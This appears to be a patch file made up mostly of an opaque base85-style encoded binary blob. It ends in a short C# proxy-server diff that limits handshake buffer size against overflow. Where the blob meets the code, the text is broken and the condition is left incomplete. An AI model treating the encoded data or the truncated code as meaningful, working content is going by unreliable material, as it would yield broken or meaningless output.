zxFW8F3^Q#*ptYo^8GE~sanYzPFsevmeVl^_BvdPgFii66d?UDDE|NuC3pqFY(I$X% zS&2tb_?txqmi|QvxLHc)*A02KOOJOxcyMS+?xgtWls{~7TVMiiz{A=s1O&>P>c|fZy0D z5WsnZ?zcj^!q5>i0KaH(zaVFyhFWhBwRVDy2wUwIOqzS0+seQ46^Q(y+no<#yZzE} zn725FiWA(I+_&~-0`oSZ?|`njM?uO2_ZAw$S~SFQU<&vp*@m-L!RA8sK;1T zQRumg&Q&-)2G+TeHIhiU(bEcp!Cf>QMS9?mlkh?+9u~a&Wrz&yW^bY1BlY7N0D>o(-u!ZHAFWl;A!W7C1689I@KF?FFXaTPe?W)N-s zqyasIwM7cafUdj3QHT`60q3bg(60_xQ3sBW3&IF35=Y^l5$Y$VZ44CxwcSFp`oo|g zCV$0)dmni@smyvuCBS0fIawng5XueWvNstP2+B>U49+yTicWe#+!`jwu?)}^2<^#p zFZ1L%R#yrH!!Rb#T}hzk27?KMHT1&jY&b_3>lHymB!?mBW;3F{y01#0wiZI@T{3;4 zHoC~QohI7*;@H2PBfND(C*z&*TC8c{13-MHmN2R(*d5;qJM=aw_xUMsgfRY!7fAS$ zZKJ_@LZC*n88QUBngUVzdX)XGk2JxtI|5iy*Lq=BIKJVy5*t>~K%PRqEx42wXpqhc z;Qe{V(CC^GJBaUL7Us27haXUO<0Qs0W^01{kJGOzsW7 z0(7cC-qAoEWN=}3H9B!y(Vd?C}HN^h%�?^no|E(Lr& z2PH0Yg&p7plOIXqQ!R}}<<_!0dORc=Jk1-J+(y0&oQ|Rq2rh(FgTP^o2L~w?9Q|y% z$Od|HrvOv$JmD1vw-Z<+xYxitWN@{JnkN*d#61t5BZWU5=y07Wda<8cgE}RFq3GP+C0h*D}?sEIjOt51FT1Al^>ywB;zZ~M!eI>Dy{$kj7%bf%pUwV_o$kr7_tP$MUrLqlIf z2Cee3YPtae+Udg(7?Q35+8zwC=da}#coA^{=2 z?gS+k%itf`tas2C_H2eM|K3x9ptA!Bm?yaz4aTwCZH-C_dBT!pK7e}36!?o_RJaC5 zptn~%g{i2PdmT0aitho#QvktFggJnjEm|rhsE`3wd~0N6TH&0tC9y1A+Xf&`brI~nSijZ zWswCu+P>WxlWd%5W)m^Xu=8p9RE^%?faTL4(Krh>CeIreUk=%uYx2I2L z+j?g>!C=;4KPDn1jHvc?wTJM#7u;9YIqUxDsl`fcHRBy3VhMI#@0_;LW?M zT*!-f_YJsRii9>`{#?mB`iQhn0|KC4JcUCjXIsN^2A?*|9+2XrzA%BO$D1p3Wj-};MJ1p1YKlxzPe@B6JR>iO$D7Igfg^(!}^UVpvv z!0~>y5#_+Or=4hKo+61KChhQzSb~;ZOH;3AvOn9WC4Z6()Pv6*SPIPi&&cG^*i_gb z@G{Orq6PxEN(B2+kB3o>u(7Kf&yUnIndd=jVgech_)@e{B-$u=Ysap!hd?M~J0SIB z@EK46iJ^r4(BVZ=9c`Es7%}!|rL@tWJP&FQlidM$5`cD;{)E0Hh$usIQJY__gkAn=v5#Kh zCrRrO@aYcA3^WKN0-O@;dVArEO7@FtfOHR|dH@icZ}8wYfNbYgzu(8?)`ZpZ;TB6Jip%T8@QfI?h#_ALzl))~cpiFUXd{MhV%U=};wM#HZWos?iD9ys&K_~OUml|| z6d}d(#)=?aTrL%t`(PgIes9>p-YOW@1IZq|g;Z_$tP4^Tq*OR*l)xc_{+Ks-+C7la z`*?3iso-DdK|+4N64;h9NH|HME?pP8Qjm2UfSOOM_rC||}a>Pyg zzIh`9w4~dRRpUFx|4atf~OOMD3i;an3Wu(P~!Dp3GG3n`H zNh!$*tdz8nKgwazF_{TbF(Fy$(b1`CNg>%*79l<{i7^rB{W$pcF0zk5cr}WpLJ(5; z9iU!PGQy`Ky#m;W)5CGB8gMPiRFWaXsBB!Gm0WZB>1 zqp)hghr>QLiA;x?!2=VOmw>YP+eWk}aX|Nd!-zu}oNG)hF9>wPz5^WGT>Eh52$u>t zwBN+-ED#QzJNAgSNY+B97=0@m4t2tBAN6op5GVt#S}0HW9#Rh%j)CxGiUdYd$D}9@ zke7w8Rv|BIA%)4BNu~DJMT+WBJ6RSPle8dVTH2zv3Kp`MLYkB}4(AiN!$5-~qG2Y5 zYYi6VWzxvM>IcbUl0avWp9(g}LKz!WuGk@;Di=;jdGcvAaD2GWwd-dq` zBz21tk~(P>iPodgAqO%ogE2uI*m97yKO6ukkKl56-%Xa2!YI&Bu9=c5fs?(-gCsEt zH11Y*j4AdCA*tR?l!}V7qka9TK;<>ilWnIfC3rk#gx^Y=6}RoiQ;7+# zEfn`3g$m6xkIU}-y63oMVoABf?Z(q>_Fv8%c#_y^mJ#yM`MSdG`@wcM_8-9S8rWd% zQ}U+VX;6=7I(PiTG2Id8j|Qw;U3s0hv#Mfq1=)~VBpFtISN@`2r`(Z6xhZ3nJ>rA* z>qOMp8ONSj#<-s;HLHzuhTdEO`#ZOI;) zH5w&~k4`Jhm~U*CL|vO0y_^&h_58z>nKL6J5{Ib2(by`X5Y2Hp<6#tGi^k=P9LTF%Q@8!6d zyjfO>nlGegCTD85{OmBg$(cI)p3)V!2XQG6Pks6F=Ij#3vnL1NT2dCy-+ue{yp=b$ zp091S_IdZv>uucW8*zbWc0G_fKFQsxoVaJC(CVQrd-#)^gjM)#3Zw2#_(T7PaeLk@ zNjA+no8YqeXvAeLcI=tb<`jLa$MHU^v*fQxxXPVArA{6`)zdk@3Czi=X>bP z-V2*gx6i*`?%F9hjt_ZPRaIPDc?n;6)OXkRV|tQSO_eL9?pz%e*zR{O?(PVa*|A3} z+#=4Cwc|rq8KsOKcUJD$)+O?F+7BhC^4^e*CB?^>eT>NOHrw{lcpccKtD*Gf*cSAQ zpnv{=%OQMlF$6!)9@#9E6bc z@VGc%0q_;1@8FO305pI*Y&YZ$0eV3~emc6>y1<>*+XWK9ZbkXjyS&x z;KGq`-vF9L081euItVt3^H%`A5a&Mwq=OHN=4A-b1rlmc0PKd8>MDZC5F0>a^#D`^ zKfMI-=#DTM(gDbO14RBi$|Gn6XG#Ua1MG(M9r7sFF%;q)8U&09&qiUKtl3FagmX5PeuIX0W5@63iL|>?t-)j^5`C0kArSN9y7%- zM@aV}p9gRkBtF9bANat#3>i4)QJ7qtIMsLhqZqn8(F-pOB;Vf@2ZuieM$ABxBeh;Ke^V?Vq;UAmtV56B8Sg7Lyz$o|{7s5s@677=zu%oU@%XW0F~- zIr~AR2kVrbn&p_7k{*NE%1zDkN{vZ&kIBKbA@7oyksgl4iN(>fOCWh zVVanq{UEzoClK9l;)8P=X6qM|mXwhEOZQ-t0~X1vZ?+9`VPTG8>8UYM39$)LVevwl zr(sw!DI*^h^p1jE)V6NlS;7c7TW;isb#m_$Q+%ABIT} zz@b)-C;*7b48V$7itvF>E*?%kCceSG|L8ROAN=nUAfd1@ic9AGi6;R9%;#V5>J;z| zpsp|e_%B342;3I0+c zQQ$ubfYL&&=noy5kboWw-f<*g$ygjvOTZGb7@(XC??6(Z*>_-^1e{wy8ZU&AXdY0O z1-v7)NrLcg1hmfqZX%!rN(zr3)FAw9j1C;S2!AT>g3+K)-xyBNG98N&j-3iTBtQ>1 zr2e)q9sPI@V(Xs5dK_l-i%tO0Ndrp1`kP@Uz++!RaaVb0kLJV@woL}U5(jXb1-+x; zzf_=;1pU%sF6l5*2sQ-zc|e~yVGlIhRH#GJio@c88u&qf!O?+JGZ^0t{uA;2ce1b- z^5i9^g`|&o>XQvBi6n`5i-nQ?Sp#N-VZYA_trwEn@9qDT+@ErD zg87j^>(D!}KF)q=2KbSnQ)s2pTe4)}GZEmxb(Eo$p$7kZKlT``GU(V=`>n)Q@2x>w zv$rkVR zUImggxwK%)JV4DRlSrmCTtP}Ed?7)Kk)V)Ck{BK$C2J%_qL2#4kx7)&$+!nTcmRfm z%Se#0Qpz@R9)_F#(U(Hse#Cf-<(C63N%M3gXWx9hoY^e#SowC$_6}2tFPG=JFDxxk zbi@m!%J2e8NvQ;xL?$ay589W9H*fUVGX3h_s+EWCBAQ}ON%Fu?q^TS(BPHQaky0W1 z`BR23%VnC-gMuDxMc9X={~*;3w*p4-IrjPTU*f0a5Gc7 zBf}IgAP*lX0ay`<0x}I&kSt3sAd|3L$HqD|86M0&8G37cu=bH6hmYoqyX^AUrd~LG zzR&>QvSUenYskkg3q9#a?p`;u9X|}dGxXk<=38-EK3}Ut*$Xs$TR_ z-ec-qi@6?ofrDl`u3z`=g6*((Z!Wt|RoUfnltkBmuXK}J{*BsG+_6cfI%fCRl02s6 zBD*P?{AIe?&L&&8jCrI{t99kV>y^w@2eYN$F1{S{J|=$oHcyWNWx^-EU8zbnFqE&M z5_4gGxmV#BVn@IN%iCW}HtxgJZjAe>CAF$Hx8bF>+4D=aA9in-P-N{qJpRP~@Ig=b zw@>w&KDvMKsYYpQ%?MZ5qg!do+xI7xNU^m~&WJN^u5!{^p_IS0%vR=3{RXqCwSpPp zeq3hF%2$t$g>#;%wvr=Jks@3WR`{cQ8z=F$)m zRPr&GtUiHlcyRo}?v|4ZzD=K9pJ(8_ZhU2?>aJ<-p{xkcNrRSWwx0{SoTda{QQf+b zWRMxJ%uoqhf8W4}^nv3U+?IVk-)*A3Ygl8xcY2}H2;JcD;%L8`E4o^IYt7u)Ay>1l zo$+;Ef+#PK)B6;tzKq-;JJ+LMPjoLflObP8oFE^dOor`8+Fn2k#tTUP_#jX>9TgHu zK%wGN06;--9fVV)s8dwq$8~g_u>BmSyztx4h&j}vm=BX3gquNU1VsZ^&r|Kb^Q548 zR%o=xLzB2kFDgq84WW7Ail{#g(WJl*T`1gdI{FlOTvmz-CxfJ&y?EAm21ajU2Zv{Tc6YdE%V`-pcB+NZ7-CQ)fD z+!1j%j4}bY!L3WJN-Y+e_0dU7H2?RAB;rF55jq9V5?oqJGA>`9B!N?)J8o2%7 z0D|pD!fZx3+3~2Eua};&S$8v_gRHglGhy+5%!%i$*xprXN3ctW6Y-HMgElX7+T#9W z^Y&bWTjS2ygc3=sZ%tx;7%xc zt*e8GTUtNwjGXji*^SJF4~CS5hrCzV^SXnxwQBq$>&f?$Pg`yJ_Dt7zYTc#I8E>~u zY;&wIZ}75KU9s-tgKK_CcSFgl!|cs-B_6LXuhq>+_qpuSdfsBlww><0t0|e|#uQG{ zx@OR+adw$>ndAJ`Mf8Hyo-3E${1{~!GK^#G-#f0DE3@^oT&Jm)z(g}-{H#Z3H|~~| zx@{15a>et>VePXIFt3~JV68aVHetucg~OiI1ZW$L5G+0ZvS?1~%;%+*KWrvB?>f&{ zU+%+YR1*u_*Ld!CvVX$sQ8T>u>a9kA^ysll=jEx<6U>($GF&|2^3ozXg>$wat__{D zNSEcdK&PQ<1wf9U|*<=|tgf-8gaQ>gN?zIEGE=-v?-i79=}Y(Ub7GjHQ$c8V zCA?gm`npK`vo8PA!hN`@^m6Tpf`{)lbi!tS+Vs)f-q_OR{f+%&wiPcmy|QT6`}uC8 z;{tlmFPa$T6HlKwG}mkXv(~s{Q;cTJK1Wes)ca-I`Ky7~^uM&c^40u&$SqmUXTNIY zij_x#p81@etzY%HBB9%|mfZNzYG3EIOV5f9erTyO7>8Z>Jp4TGUQb(^<2j{+mA3;A zGBORMzPp^07;G4NCw3mLSM<}#$#hkSWayUR31iaE-3~8!QF;5TcF2~b_07*iNLxzH z{bSdM&+(i*s|tH|Pg;_h_3&9;Psrj2HyoN1Fr%!hboWE4AN-xxjyQVm%fx%G&lcmY z34Udt4Uej?d=&TkdBewd?>{UKc^$MM?1@#}To(6?N7ZLfEHRo3p*Fs7}wPIlwxCoXF5lvY>=-aUC-YDB$JNYSL2G@HXNk9H^O z>Sytcp9K4A(yW;8^0KuJ3ci>7$c&;-m^`XeJ#dU;1l#)kqTZlmL(G~jdCyMGiwL8~S7?-MOg zKWffwFOx{#`gxB1HMVR-SoTroRD0v-3E>wf`mq%?xI z$g4w69r$!$w-WzK)Z(8StACH^M8r0oG7h)I&HK&QD12m}nI)6dwZ+r;(=8tB=<5O8;1PfnHCF|N7E8|HDnz7<7^e0W91L+ITGjM zb1f*_q?Rt)Hg0NYY1yr-pMvf7zq%%+IA?9hG(FyKzFOnGu#I+y#wuCfsbzg2jdCPi!X$dHn)_OIIaWbmBkA8tM2Pnu3u8cb#MXr4N3za`7t zJFw;chV92j?b9!Ivf8`bBDqO>{tZ&6{E~qM2^|l2c4xuoXwT5@zTQ_el?{*EJ5<6?c(au$-rU6Ti7ayf_ z(%t1_>Obl)EuUU~L}PNp;I-Q4E^OP~y-L!7SAH$Dt<<9>FQ8_($73x<&iQASo!5eA z&AMgm9&axx&9+Y{IBZ{~ld(M9U5zLGE_nYSvqsg4u@?#-X@!3bZR&Cj8YEfN9{I?7 z-h-Q)UOT*3k>9`LT)xwd>5B?$IydcAJ~nvPI}4|eXXn>Ho~=6cr?N%2&ga=_Gk?l# z92%IMkt09ss6)pR_YDWfp8b|cJv#Tq?a__zl(Gx!4?m&LmUn2&{TzON=|KjiXZ_=! z5{uT9Rut_Ewp`sv8{DK>bWqxB$PDeGtmUykQ*YcpVzW9>``dT2Q$_5c<$LT>wrCe7 z2AB&ZXRT^9EpVv93mi_t1s0$CU$nMlrN6WM18&cyxwz7R+p@eVQee&g3$2WVsr-Oy z3OJ&_F57aZilF(w%4+!7UmYo?!zuKG%K|1kSa5r84*E>VRu_a&S8c6me2TA)`+4Ap z`GpMCfm;PGj+6p2w$i@i){9q{4Q57kRZbk2_4D$wK@Zf5eDim&Z+yOCIF+(1^-N{( z{gUK0Gg>>TZ!E9YzRNde$i8klsQD@;PVvU04-Fd!->Xl-IU9M!6T3{b%vJ92-%6|F zo)5pQak9Psbvemwr30yl<8eSL_Ru=Bgz^5;&2}#mpFcVl@%7eBcJ86#+Q5n#hrLJZ ztj7a3^WI&xh+8Rj*hFj3>SG71URg03B_)-cV>BPStj@l3pyb|E+&JugM@hu2cFMPL z!%CiRy=1d?lI{loI~0r5Wd;60H7$p$j(&dWv`@mH9e;Mol&zZ@*E6}6*CVbyGsrHk zo^w9LsUYO!eKjZ7-ubKP8k}!72i9zfWgb+xHI=m|$0Wz3_SBpb&%Dh(MvYV6Y>-)8 z=WjPfS66a$rI*doO~F6x@|ol(Y7>;!#@#qZ*4pRi9$+2HQDBl2@=oMmRQP=N@t5I6 z{P)#@Svd1cZMqavL5mZuTb->@Kr_4CS^s`ZkbaQU4Z^dYNEqdg<)O%MG zF0O9~v)$%({Y%BHTNhLmJ#3y$ zD$)=fs)pdu9@0pP1zUu3Q(QbC5r1R{i4%BeuXh#ijZXr1I4+Ar{_;}=|N~oCi z-7E(NW(LG!%q*?wehEqNhBP866~$>B8N%q089p8&ME%hrb5n4+`&?|7-8sDrh52r(eT=RDB&RKXb=?oF{2v;_*bEy>)ksIY%cD7H}f>FMqz#1R=#Q>%UsLg zK+_Qap+l{b&aCj4kNB`jCd*E34R!3y=p8?#*y?wdudp6sN?!9V?Z{di|HJ0p5yhRm z4BM7Pg;a5TJ8X;>FLF3!u;c0J?Cevs)gJ|1tgejqJw00eg*S1!C_%pH;@h(wW9Ql) zx#Y{UXAgaGIgM#J)FW?bVZe*RSMMUu?6Z-c`)Pmjv)BiZLq3ju#cT0gy&(Qc-sKrN zH=31}yNv3ZXz=dX;;SB~VjE8H^R`xaws=*j=G1c^=h!EwsP9?7akcBh!kmfn(_ZxoB+H{4~DzV~y7=6OM%PHuuvd=e~M9on!Sz%IT@U!0P3*T+>m46tpQ|QCXP++l zv8paz_x;#f6Z)O}12^AFw>+x48|t2Hx@r{nIb%o6s_LL;&rC)w+jTM``s-bKqQ;c) z%3b+18GYZk=WILoODoQh9v`XMc)M`E%3WU0^~ej|kLH}Z5~m`)z9#$C#iE9?WV4)l zxnMT$;_HuNa_20$9L;%qXeaM1&cdk8dvB~NS{lHC> zwCFF6?e9*LI&z`(Q4nWf+=hzN5uQ$gaA|+QgN(}!+{!3e+7}1sIMRRs~&y){9FF&KWB;c$AKjD zPW|_d)_U*qK09z6{ypP~*X_a)Z@+(8J${4!^WL=LlDe#x=o`OCPB z$G#`DT-q?|+xAJ-jo1biow5?n{p@#Fa|^HfZaN(KI3jkt>S*UhZY2&z-ru#4Z>Hih zU!NM^k>TWgk$GNpZLW63jBOige8Xk<+bcHRIXG-cMRy6K=aXXIx2J-Ko0N8UVU=NS zOSNo#j=el5!&I}h3SLk1YcAKGKX1Cs!A!qmR??+r$vC6TE+WdI))0@K_JbPW@2ma=ksU;0t&hbubggAa|8qI$k`8u1@ zR(0dsG}%3=^Lo}U$bLeV2z4D3wMXB2Evb2u&An&OK0V)Xf8LlYg25i1*tXW&B*hBu z>*pP5{+ux*H6uP{krsmuI|Mdtjo5}sTa7!Z=a<{+df3`uP<@_-STmJ*G}1byP17sv&Xii(y}Y; zFH=7$Z*@|02-{KgKK|?6_ZvBK^EVCKOfw(mts-ZTz9#8&;2!eaACAWs+*5v=e&pzD zqr3&h!!;gu-LpGCc>aD(qlpgp{syTf2J=g`T@EHrV}CtcV`{HN#Mk@yg+xfciyMX^_O+uo0)DpG0-+dNlD>mO&F06h9_h1hp+q;d!$iqb>t9=)Fv&IRTN+FCj$pr6@tE2B3$Hqcy$V0E&ue+?<}sT)iVr;d zvG`21!J@^YO+RXMeHuTptvr@+vU({rnMR%Xn-D?Mr3M|`awS>SYN z-AL{IdP5CrPPUKk`n35-&bs{V0SoubIyXK%&ntaV^6lHMO=*YE*Voj{n05D}N}kO5 z6I-q>TBLW{YdiB)R_yY(X&XD;$v(Ts&0Fbvz*dLKq^-I-e)a=_e$={=W9%l)-2FDT zj&arNg#89xUHhh!DtcG%>tx$J-F)zw#jF)~3}!yHPT#+a&`h#PnFC3{AEw|E|i< zb31Ol54?MZ^0lDd>>-8I13%`d{n9jIJ|_1xlWcIeCnnQj*QiA@u13%2YwakceJ@$_ z$=}atSl-v_cZx>OZhzZ5)=ACng^Hq1+c;~jtwx_--Ol|EuQqsKu` zG4ZR7|HhXA|H@{ad%i3^zWwymP`3&Aa6G}hyLPv}Nu#dayW-a1+DD^y+Xd~sehw&@-YQSVG;?x=mfw>0j-j*(}!dW}D>95lFB zFT`bObZ<>UQD#Y|U2v#F<|5A8gxN$-$F@P*vFllv+TDk~P>eeCyyeY`6*img?qg4# z^*JZjJ82rtt6p`iIU=dc{O*N^?iB3G+###$miFqFmn)w4UY7qs*}$hcW6}X$|60Yt&-Q(Dfb(t&q;iy=rhHYb=Kg(2}TCI zpbX4aXq3-4Ym+*x$5n~1}!_fmNEzR;qN(m%Y{{gq6j@a-d9KxJ|GU_pukchTPh{KEI` zBodZddd@M#|Alo}>2{X3-3j$Oz2^d@tJWXbx@b&y;q<*)r-y%Dq?O<|{MC-4tfVR} z)ekCev&R~rw0`qJkaz0y*4}q%?RsZ?BpN0+jc)&H9B}>1hu#DD?DgF8=`Gi9I67@` z)a_c6wv{-x?(!zD-BJ=NStFfVUd-nQ@98-=R&H14JBtb3y%P0{_B4CgYg)R@fcJD2 zTLYGK@3>{hKXU)akk$`bQ$zd~r@YzfZTCG>CVs(|luK=No@MwDvczS2*@2)^Mf<1= zCBtjVgFpJuygqV&V&=7!5yl_p&6+V{=5WEF3P0nK^IC20_MBL>=Et-fAqO<-Jh!Bu zB<T7~0Oifot`L3?Y)O@LO0ALfL(v zZOKTQ(%`N1z|bCUG@vnA-gF4Ag~Jyp6xH{OhI=kFFIZu@ch#AyrE5BW4#`dbOWb?e zm{(MZP39~3Y1(&dnil3-n&wu1u=1VVJALn=tt%$@;^PKVA8Tre8{lAKDD?UdkItGI za_IXX8`zxHI{)44dG-+F=q8W6jKIhR@V|E`nDk{`+ zRU7>mF0)EB59{u|oxkAR=rfOEh8w>jqTD)nXZqc~u%)n)_q6(@a%igc7DM7?qGeay zf_3SGOY?UPKEHF-(Wi1N$G;4H?M@7vI{np&7rkd^e&)ov;Tl#Ex@8e3{0{DEZyOh~ zcud%<&oqTiwaHuF7i^tYzz%F=O#h-d<&skH)v8(v4P{a>QB0#bpC0kBMECjLv>~70 zO$;BUBH-(jF1#LN+KOA#c@6)&z*G-b#^jqk&NnwBpGSBBNwfBv#CczJM|!M@ja%WLU(B+O;YZS}UDs9N)Q?v@?uc!6PL zf3TcPfnd3z58x*EYc~p(8%_e0Eo{!e2Fw4$pHC{ZLUbVye6@Iyucl%SpQ{GFxWK87 zzrTB=@YB_xfm)4%#afK*Jgz2cKKQVF6#Qh>Ljs^8X0Kzg`0Tm0==KYlwspDta50x1;{aH`d_^@!LgFZ5X&7G4Ho|Uw!wfD&1OC)x+&9)eA_v)*% zu0&7MK}^S3O-;ik;i6Ni!KPW*!G&RGe$*TsqC9-oy_`?8UCvsz+Gbu)G^V!oIYLb! zkt_HZdr4M8Qc6zzWijMQeLe|%O!(^)j*}t76Ax^@Mrml%-ZvsDRktCP z*NFQeV#*Xx+k;OQC+&KKV4@(+sHtu$-8}Uwm-l=>0NBJuHVRc(^78-V#(9KFHjVp~= z7$tUi(5DnheOm&3Vmvl=WdH6TJzwlTyhjZu4jBUo1dtX1l+HmhiY(k{` z-3txw?=KBK|8mE!xnI71TTq$ty*nyQ){byyv@W~t?_i%CxWaq#<)tl#QbpsA=q%af z(dKPMZCYUbl5i++Jr)(sN@|#ybG2^V`pd&N$DL%pGQD~6Ov6IGbMHH1EklD(zS%r0 zbb?u`chb-tX7H=lhx%#WA!>_eRDUpOY6?r$_459vv}PoP_;lyaF#0I*(=vZp%J-h2 zsn4i&8JzohYOi;xy-(iuRw;xQH#;uqGEs7z6?Ey?catIEpAVZ=ejIX4J8ODQexOQ% zT}Ad@%Ol?k%tnk*I=$2RSuX3gjeSCVUA)HH$y=Z5vp2y1(`XfEzBVUm6zj>@k2~gb zul?xy!FTf{U0BZjQrz8L@v8jIri*JOT{5@IQ%on>sHi41X1{yE-lDv1iDQD*73s$# zf22<9KJ8Z-SNnQjseVk6a{KW2^E{p@%hV{|b&Cm_aQ-RT$?V!g#?d3(!M@=~K0F#N z-*_wX#n-C5%FEfiC$EUyyCcy~HY>1qr~}z&%t?jS%j@T9xyx^J9l!Tl@6x$rk7k~~ z9jcHb~(wHmK-7a-^H#INID2Dx-d#1;UT|(GLUAFBRc8jdVr^D?TL+ z9p|viaP&IY)WQ@uwS<7UshQCFj29IxQ1SnJ=JH>~ATEau-9P2S&AAcA&6?}0^na`k z$+&uDMAx$Z1`&c6@{R_Q0Wdn(FJ5v*!zf+bo+hIvdN= zHU-pNJ~`%O{f41qXKw0X+Gu|mf3s?j-0p;R(^Q5`j*}U8sC17(%+$*H2TwCEairpg zU*NCM)?7-SHEdc9OHb+mf41S?c=is5Gh_AU<-eUjGJ0uhTzp;Hw}d;-dKAYDH-D;K zuYE_~bL{ubZ>G8LO13N+He+4*{&R25XqSGN6PtoVf(|~m8ARtl{rAfIb z2s6x#Gqc`W@4mU~uJ=#YDLKEKmT!OG{_XuKe_n~B)f+R;ZkXFm$lGcXdFP`n|Kg;@ z6mz=E3=2!ZXANWZa5X<6WXgwyoo2T;K`r=_(CAYGm8OO27m#SNG4gb|t=e}}VzHxJ zgVFQOqj~x#h~?nuYtJ;G4+-6_NFn4NT!*oc`wfz5YhPj;4{d!|M*Z02?nvv(Y>(8p ze9SyfnuASKbe4M~&FBral5Dd3;PKliQMD&7qy5UU;qOQE*K&}~w+V$qwN{7FNEfO- zyHncKrFMLc7`){aVTVmeIK{N=7lpY>Ig&+-?o`&mbT9o+)4S$2y`|^Q=qFpRy0LgT zWeaw%?#*OcRiBh`+4J;uqZGaRR$KMa5%lH&(3=71j|dM@mKux|@E{1E5Nu{g(s zYY5Z-r6O0uCq5iQF~A2XL9xD;L+w8xDMb7o3P}OVe;#!UXD2kam*I^|)))t@2N(vB43yuzxGp7n zYYid0ux0p}G33kDq<3Ouk9AdP@r0=^idSTv()UYyULPpY+}h9|*wR{094cE^e<%2x z-if#ZD9==5wB=(irmn!dHqsZw(5$@CwyX>LyQ8#Az5Dfc;^?reiJN5(a`AZYA0u;C zeI0|F?6OZ-u@^Qy2p!A9SGpWcdoM@#{R66Miqn2lc~_qngcrnkbqj}2c$T^7*Kj>; z?+ap8;HS8rAhFp7fwoch&%w+lX6pw23NY}TUv)W69BUu{7?VL6qOR$x5&j{UP!*eMQ6TI6Dm0ZIy1UIvkKsyuGY!ufywcIZB z#f#=@sD)vHlE&Svju6tU#=EexoOH-}fbI{>$ME>kfRl~%A z8E;!Lj-0W)Nhy0hWwa3k!uh-<#R*joc#_}tNl4-TbPF(lx>+pcN0cWrr zHu?bD6@g_bka#NaUF_c)4Oo}{nBrSFa=W2L7$J3hw;s^}#_6e97OdrAwbS20! zFgWhFI-GI}cgyzNoiuTt&9*`gkXE#5>YWjMrIMKInu143m^*D~vsjkK!hqPEQLHv1 zO4nMlt*9;kY_nn~k+!fkd`@hvzhW(lHP<}H;md=ujfvL-Rb;ZtgDgQTP-|Y&?a4Ut z4Kaeg6EESqkH5?mj8{2EWiOwuU$~EOfeM3@QN(Uk1p#Lga(3buF|!kEp1I2gt>O9U zJR(Hnd-za)`;+mn1}ek0<7lL`l3uZHgqz2tUX}4HoMq0CA67J5-*0RY)2MeohfXDU zR1kd{S#~!)MMu+;F_(mxg!}27(ut5EW$XKzc;}fWmvpngJV^yqhJb{S{g+4ZU1>-S zY$N{-d2$*8^QYPSq0$hT_dUks0a`GZ zn~x3jpGmT!Ks6z`_q!3UpeTpe-clbVZHOWGW*fTX#GAB~2f{-vKMCjM;}g7uL?HBF zK+jC@mlVH|biW~(-^+hXw)#J;TmcdjfHuI>%BX2=Vs8PkDjFJ0(i+M_GLn37ZaxVq zK5i*q0JN}G_CXTN@M{u`6;E*=h!~kPEL^d@gH!y;J%GIZ0+6?p{+hRgtJgs!7Mdz` zKqFbePhWlf#l~_+-v5>xad>4ol#D+-W7Y3O(Lt&XT%aJfJO-ZCccKUoUh*BT{#QPy zzm^yy>uGgcvK#ks9ckRX!PaoC6Qw0xM!AqWHC9bq*?z@581=JxHBBY~t zIynQVNT}HFH;Uk|`@gxey2Hf{iu9=vY3g+hSVoGHyUa#hlcu&%IQ=Dvsk995o!YcG z6xZY3?K7NH;-gU|s+9TFxA(6R&k}u9?3H608L#ZG8lw;Uq~>GQ7JkQ!6AoBg6{U}JXGH=oV>*%vgrQ2hxn_WCS=5FgBU8hGFS9Q#vd(BA=@wjJ z*S=@ZIxs-gouZzi8m#)1qxJ_r>o0%p_te#&sbGI&aRy9bKaj-qj9ZmTt6~(3N=n0x7TG?tHP#Sr zzc7zl#014Be>Klvlqxm0IGJVe9gL5 zD&_5q;6C(jn}8Gb)ojqY0W;m=?oL#Ul>lVwy|nd+R}Q;#Ui9FaSagrR9i;;1eG3Iy z{El6p5>@sGR`nt|)p>np7~B<;uoJ*uRWECJMnODE^jS}m%vgk=0+E{I*M04?xz8X_ z*Ol6yL=U8@#M(Dn7u={v=@bIlK2;+WMb@vG0__-#t_Ay?U1h=vfJ(^BEiB_w6MUU~ zy2t4=e5-|rz2+YKTLTGHgPd%*(XxTBqEVmy0P4;}M<~MjhKb;omUOgT+gv5V#|O<5 zoeaD@jrERKB3`oowDh$Nb%wc5J5OA`%;BPA+$RI!-dLwp{S%Eh%$||fqL`y%-M*IA zjp6n^R~J)GMr1G)ZX}e(eDb>_y%*V>Lo<6hi7uyPrsHm{<)x17U|gRk-qu`CPkIGnVU%`iN3o=W@)ZP@8YW z!+G3~&Q#*Z#4zyrldh6|u9T%+%9?-REv7hDXwf#GcWZpprjo1nf ztqXl@^_No`=_)8F$PGm4pPHaALG8R8#h`>9R11+MIr>v_k1@n`A0uzQ6nQT%YALKz8@$a+KN|NXVm%VP z-un!*yRPW!ME1lD*2Y)lIik8pq%(2(r*=(;M`oBS&|+m-?q(`nmqzm~wg$9AS2$sP zDfp_Kruis(_~u!CDR8(RU8EgJayrMj6&(j#jetUe<2PnaJ6maT*_=<61s(GtMklz`= z{%KyP8L30UocHF+`#9)BPDY?!*C=j1+$UP#+hjvpalIj_dLR1W)mxSis~03h*kj&f zF#5LrNuo=>DR6{OUH5`lqkywi|NT!LPlWCYoiM#Q>TIT=6t?W|kby_m?1FDgR>r7> z&?!xIw)~vx4;cjN9}z5Tix0-akv47feHP} z*#KG^D2x+EbT|M6n3*5|J|GahhQkFah3|Xw%;d0pQOAyj9EiG(?9o^T2$BM52(icG z5Tr7t9xa1|Q;z3l!1?0%`GL4xp@cfhz6RN^mjuUqR;weZSR9j7$Wx>4^mt##E!T;i zCQp{qA(vO#fyBNI`ov%|7%DnS(4wYgy#je?+m$?rDoU8X5kfp}i0BI$*8_{(E3+@| zl2lALe13~=Ux!sMTJQ~_>_{}5r3`5$38tu>Pj0unalO$LZRv};w6X#B$0Y$YJA?<^ zZuCF%&`BP#ZPr2wry-l{ z8FxBhe%r^0JqQon?*q(l4(2xl^Q*^YGGCPG{p2KA4LirKc53qLx^=~U>JA3_pPh?7 zuxxFUeu4SL16IF(`hW1_8waQi6S{S;CQ}86{2ZeH2viW;%s*q%$4v5C$sYu>pEpz< zJpMugoEp}aUv9sd{GO|iKGPs`3s>Zk+4(k>6#h!&A*78A|n7V--PR#8ltMP@#oyWahPQork@YnbOg#4Q!zu(^-R%o{^DlIVaw;<(6o!$kYi*K8K zoC(_*a&;$+C0SQ_nJOh8M}2>CMI*+vB}M$g*CmaL%%SAvpULa7rQr*Ljf zZklgCZ*i^J%ZxUV#LZIDv?q1GrN$qk_70D*uz4Jh!S$mxIo$)2RL3E31xBbs7l? 5000 || _handshakeStream.Length + received > 5000) + { + //attack prevention of overflowing the HandshakeStream + //It's really impossible for Socks or HTTPS proxies to use even 5000 for Initial Packets + Disconnect(); + return; + } + + LengthReceived += received; + _handshakeStream.Write(_buffer, 0, 